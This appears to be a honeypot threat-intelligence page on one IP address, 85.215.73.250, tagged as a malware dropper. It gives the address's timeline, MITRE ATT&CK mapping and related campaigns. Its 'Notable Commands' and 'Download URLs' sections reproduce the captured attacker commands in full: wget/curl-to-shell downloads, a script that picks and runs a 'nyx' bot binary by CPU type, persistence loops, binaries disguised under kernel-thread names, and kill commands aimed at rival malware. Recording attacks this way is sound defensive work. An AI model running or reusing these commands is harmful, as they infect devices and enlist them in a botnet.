← Back to feed

85.215.73.250

TAGGED MALICIOUS how we decide →

Why: Our sensors observed malware dropper sessions · certainty: inferred

ip85-215-73-250.pbiaas.com (pbiaas.com) ✓ FCrDNS

Threat Confidence

69%

Assessment

Malware dropper: logs in and downloads payloads

Logged in with one credential in 108 of 108 logins: it returns to a host it treats as already compromised rather than guessing passwords.
Downloaded 69 files and ran 229 commands on the host.
Active for 7 days, 2026-10-22 to 2026-10-29.
Part of a 318-IP campaign probing the same targets.

Generated from the counts on this page by fixed rules; each line cites the number it rests on.

Location

🇩🇪 DE

ASN

AS8560 · IONOS SE

Cloud Provider

—

Total Events

859

Top 5% by volume

Agent Count

First / Last Seen

2026-10-22 00:05 — 2026-10-29 22:34

Attack Types

telnet:connection telnet:credential-reuse telnet:intrusion telnet:malware

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.001

Initial Access

T1078

Execution

T1059.004

Defense Evasion

T1070.004

Discovery

T1016 T1046 T1082

Command and Control

T1105

External Corroboration

CINS Army

Reported 2026-10-30 00:01

cins:bad_reputation

Campaigns

Multi-Agent Scan SCAN Active medium

5 IPs 2989 events

2026-03-13 — ongoing · 5 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

Multi-Agent Scan SCAN Active medium

285 IPs 809973 events

2026-03-13 — ongoing · 285 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

Multi-Agent Scan SCAN Active medium

8 IPs 45776 events

2026-03-05 — ongoing · 8 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

Multi-Agent Scan SCAN Active medium

205 IPs 466105 events

2026-02-28 — ongoing · 205 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

Multi-Agent Scan SCAN Active medium

318 IPs 1052432 events

2026-02-28 — ongoing · 318 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

Multi-Agent Scan SCAN Active medium

255 IPs 766002 events

2026-02-28 — ongoing · 255 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …

AS8560 IONOS SE ASN Active medium 🇬🇧 GB

14 IPs 19650 events

ssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:connectiontelnet:credential-reusetelnet:intrusiontelnet:malware

2026-02-27 — ongoing · 14 IPs from the same network (IONOS SE, AS8560) were active during overlapping time periods. Temporal correlation across …

Session Forensics

scanner ×1 reconnaissance ×40 malware_dropper ×64 opportunistic_bruter ×4

Sessions

109 (108 with login)

Avg Depth Score

0.83

Commands Executed

229

Files Downloaded

Notable Commands

echo VANTA_TEST
stty -echo 2>/dev/null
cd /tmp
wget http://85.215.73.250:80/cats.sh -O - 2>/dev/null | sh &
curl -s http://85.215.73.250:80/cats.sh 2>/dev/null | sh &
busybox wget http://85.215.73.250:80/cats.sh -O /tmp/.c 2>/dev/null && sh /tmp/.c &
wget -q http://85.215.73.250:80/bot-linux-arm -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
#!/bin/sh C="85.215.73.250" A=$(uname -m 2>/dev/null) case "$A" in armv7l*|armv6l*|armv5l*|armv4l*|arm*) F="bot-linux-arm";; aarch64*|arm64*) F="bot-linux-arm64";; mipsel*) F="bot-linux-mipsle";; mips*) F="bot-linux-mips";; x86_64*|amd64*) F="bot-linux-amd64";; i686*|i586*|i386*) F="bot-linux-386";; *) F="bot-linux-arm";; esac cd /tmp rm -f .nyx 2>/dev/null wget http://$C/$F -O .nyx 2>/dev/null || curl http://$C/$F -o .nyx 2>/dev/null || busybox wget http://$C/$F -O .nyx 2>/dev/null if [ -s .nyx ]; then chmod 777 .nyx ./.nyx & fi rm -f .nyx 2>/dev/null
wget -q http://85.215.73.250:80/bot-linux-mips -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
wget -q http://85.215.73.250:80/bot-linux-mipsle -O /tmp/.b 2>/dev/null && chmod 777 /tmp/.b && /tmp/.b &
cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64_persistent -O .systemd-update -q || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64_persistent -o .systemd-update; chmod +x .systemd-update; ./.systemd-update &
./.systemd-update &
404 page not found
404 page not found
cd /tmp; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -O nyx -q || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64 -o nyx; chmod +x nyx; (while true; do ./nyx; sleep 10; done) &
./nyx
pkill -9 kthreadd ksoftirqd kworker migration watchdog 2>/dev/null; killall -9 .k .ks .kw .m .w 2>/dev/null; rm -rf /tmp/.k* /var/run/.k* /dev/shm/.k* 2>/dev/null; cd /tmp || cd /var/run || cd /dev/shm || cd /var; rm -f nyx 2>/dev/null; wget http://85.215.73.250:80/nyx_bot_linux_amd64 -O nyx -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/nyx_bot_linux_amd64 -o nyx 2>/dev/null; chmod 777 nyx 2>/dev/null; (nohup ./nyx > /dev/null 2>&1 &) 2>/dev/null; exit
killall -9 .k .ks .kw .m .w
pkill -9 kthreadd 2>/dev/null; pkill -9 ksoftirqd 2>/dev/null; pkill -9 kworker 2>/dev/null; pkill -9 migration 2>/dev/null; pkill -9 watchdog 2>/dev/null; killall -9 .k .ks .kw .m .w 2>/dev/null; killall -9 kthreadd ksoftirqd kworker migration watchdog 2>/dev/null; rm -rf /tmp/.k* /tmp/.ks* /tmp/.kw* /tmp/.m* /tmp/.w* 2>/dev/null; rm -rf /tmp/kthreadd* /tmp/ksoftirqd* /tmp/kworker* /tmp/migration* /tmp/watchdog* 2>/dev/null; rm -rf /var/run/.k* /var/run/.ks* /var/run/.kw* /var/run/.m* /var/run/.w* 2>/dev/null; rm -rf /var/.k* /var/.ks* /var/.kw* /var/.m* /var/.w* 2>/dev/null; rm -rf /dev/shm/.k* /dev/shm/.ks* /dev/shm/.kw* /dev/shm/.m* /dev/shm/.w* 2>/dev/null; sleep 1; cd /tmp 2>/dev/null || cd /var/run 2>/dev/null || cd /dev/shm 2>/dev/null || cd /var; rm -f .k .ks .kw .m .w 2>/dev/null; wget http://85.215.73.250:80/bins/kthreadd -O .k -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/kthreadd -o .k 2>/dev/null; wget http://85.215.73.250:80/bins/ksoftirqd -O .ks -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/ksoftirqd -o .ks 2>/dev/null || /bin/busybox wget http://85.215.73.250:80/bins/ksoftirqd -O .ks -q 2>/dev/null; wget http://85.215.73.250:80/bins/kworker -O .kw -q -T2 2>/dev/null || curl -sf http://85.215.73.250:80/bins/kworker -o .kw 2>/dev/null; wget http://85.215.73.250:80/bins/migration -O .m -q -T2 2>/dev/null; wget http://85.215.73.250:80/bins/watchdog -O .w -q -T2 2>/dev/null; chmod 777 .k .ks .kw .m .w 2>/dev/null; (nohup ./.k > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.ks > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.kw > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.m > /dev/null 2>&1 &) 2>/dev/null; (nohup ./.w > /dev/null 2>&1 &) 2>/dev/null; exit
killall -9 kthreadd ksoftirqd kworker migration watchdog

Download URLs

http://85.215.73.250:80/cats.sh
http://85.215.73.250/bot-linux-amd64
http://85.215.73.250:80/nyx_bot_linux_amd64_persistent
http://85.215.73.250:80/nyx_bot_linux_amd64
http://85.215.73.250:80/bins/kthreadd
http://85.215.73.250/bins/kthreadd
http://85.215.73.250/kushnet.x64-test

Evidence Timeline

Malware Dropper b705aabb5493 w4m_singapore_01 · 2026-10-29 22:34

7 3 1 100%

Loading events...

Malware Dropper fe6c7806b4e4 greencloud_phx_01 · 2026-10-29 21:36

18 4 1 100%

Loading events...

Reconnaissance 69d2cc4d74d6 greencloud_phx_01 · 2026-10-25 15:05

2 1 60%

Loading events...

Malware Dropper 94aca9befa5f greencloud_phx_01 · 2026-10-25 15:05

3 1 1 100%

Loading events...

Malware Dropper 29afcf95fced greencloud_phx_01 · 2026-10-25 15:05

3 1 1 100%

Loading events...

Malware Dropper 9186af1ba638 greencloud_phx_01 · 2026-10-25 15:05

3 1 1 100%

Loading events...

Malware Dropper f216a1700be5 greencloud_phx_01 · 2026-10-25 15:05

3 1 1 100%

Loading events...

Malware Dropper b232cfb16bc6 greencloud_phx_01 · 2026-10-25 15:05

3 1 1 100%

Loading events...

Malware Dropper f477889e980d greencloud_phx_01 · 2026-10-25 15:04

3 1 1 100%

Loading events...

Malware Dropper b6ce943ca6d7 greencloud_phx_01 · 2026-10-25 02:29

1 1 1 100%

Loading events...

Malware Dropper c9ba1f4bb921 greencloud_phx_01 · 2026-10-25 02:29

1 1 1 100%

Loading events...

Malware Dropper 11791f221a09 greencloud_phx_01 · 2026-10-25 02:29

1 1 1 100%

Loading events...

Malware Dropper fd6a58b63c34 greencloud_phx_01 · 2026-10-25 02:28

1 1 1 100%

Loading events...

Malware Dropper 218a847a904a greencloud_phx_01 · 2026-10-25 02:28

1 1 1 100%

Loading events...

Reconnaissance 937b87ff0b24 greencloud_phx_01 · 2026-10-25 02:29

2 1 60%

Loading events...

Reconnaissance 62e9b34be9a3 greencloud_phx_01 · 2026-10-25 02:27

1 1 60%

Loading events...

Malware Dropper ecb8892e1366 greencloud_phx_01 · 2026-10-25 00:50

2 1 1 100%

Loading events...

Malware Dropper 0486b6cf362a greencloud_phx_01 · 2026-10-25 00:50

2 1 1 100%

Loading events...

Malware Dropper a3af22aca608 greencloud_phx_01 · 2026-10-25 00:50

2 1 1 100%

Loading events...

Malware Dropper f57171eb84b8 greencloud_phx_01 · 2026-10-25 00:50

2 1 1 100%

Loading events...

Malware Dropper 99be8c303e26 greencloud_phx_01 · 2026-10-25 00:50

2 1 1 100%

Loading events...

Reconnaissance f4643bb9281d greencloud_phx_01 · 2026-10-25 00:50

2 1 60%

Loading events...

Reconnaissance 107d713d6d2a greencloud_phx_01 · 2026-10-25 00:49

2 1 60%

Loading events...

Malware Dropper 631b6b9e163d greencloud_phx_01 · 2026-10-25 00:47

2 1 1 100%

Loading events...

Malware Dropper 2f3fc0968817 greencloud_phx_01 · 2026-10-25 00:47

2 1 1 100%

Loading events...

Malware Dropper 0fa325766a74 greencloud_phx_01 · 2026-10-25 00:47

2 1 1 100%

Loading events...

Reconnaissance dd4204901be9 greencloud_phx_01 · 2026-10-25 00:47

2 1 60%

Loading events...

Malware Dropper 6457d13c7cc3 greencloud_phx_01 · 2026-10-25 00:47

2 1 1 100%

Loading events...

Malware Dropper 353a0a79aa98 greencloud_phx_01 · 2026-10-25 00:47

2 1 1 100%

Loading events...

Malware Dropper 3faab396247b greencloud_phx_01 · 2026-10-25 00:46

2 1 1 100%

Loading events...

Opportunistic Bruter fdf2b3b7e139 greencloud_phx_01 · 2026-10-25 00:03

1 50%

Loading events...

Malware Dropper 9bc8383698b6 greencloud_phx_01 · 2026-10-25 00:03

2 1 1 100%

Loading events...

Malware Dropper 155bf060dbf0 greencloud_phx_01 · 2026-10-25 00:03

2 1 1 100%

Loading events...

Malware Dropper 4aedf734f8fd greencloud_phx_01 · 2026-10-25 00:01

2 1 1 100%

Loading events...

Malware Dropper 63bb438f98c2 greencloud_phx_01 · 2026-10-25 00:03

2 1 1 100%

Loading events...

Malware Dropper 85942b3d4194 greencloud_phx_01 · 2026-10-25 00:03

2 1 1 100%

Loading events...

Malware Dropper 69d55b7e1c5d greencloud_phx_01 · 2026-10-25 00:00

2 1 1 100%

Loading events...

Malware Dropper 9a7d749ad539 greencloud_phx_01 · 2026-10-25 00:00

2 1 1 100%

Loading events...

Malware Dropper 47b6ce525bc6 greencloud_phx_01 · 2026-10-24 23:59

2 1 1 100%

Loading events...

Malware Dropper 335225265e50 greencloud_phx_01 · 2026-10-24 23:59

2 1 1 100%

Loading events...

Malware Dropper f3a35afb4c46 greencloud_phx_01 · 2026-10-24 23:59

2 1 1 100%

Loading events...

Scanner f89a4143d7ca greencloud_phx_01 · 2026-10-25 00:03

15%

Loading events...

Reconnaissance a3c1ca306e03 greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Reconnaissance 2400e514503c greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Reconnaissance 5c4365974258 greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Reconnaissance a61c7eb6b3d2 greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Opportunistic Bruter 2d779fff847c greencloud_phx_01 · 2026-10-25 00:00

1 50%

Loading events...

Reconnaissance 66fab6c5b02f greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Reconnaissance 0c8e496b45b3 greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...

Reconnaissance c40d72e2164d greencloud_phx_01 · 2026-10-25 00:00

2 1 60%

Loading events...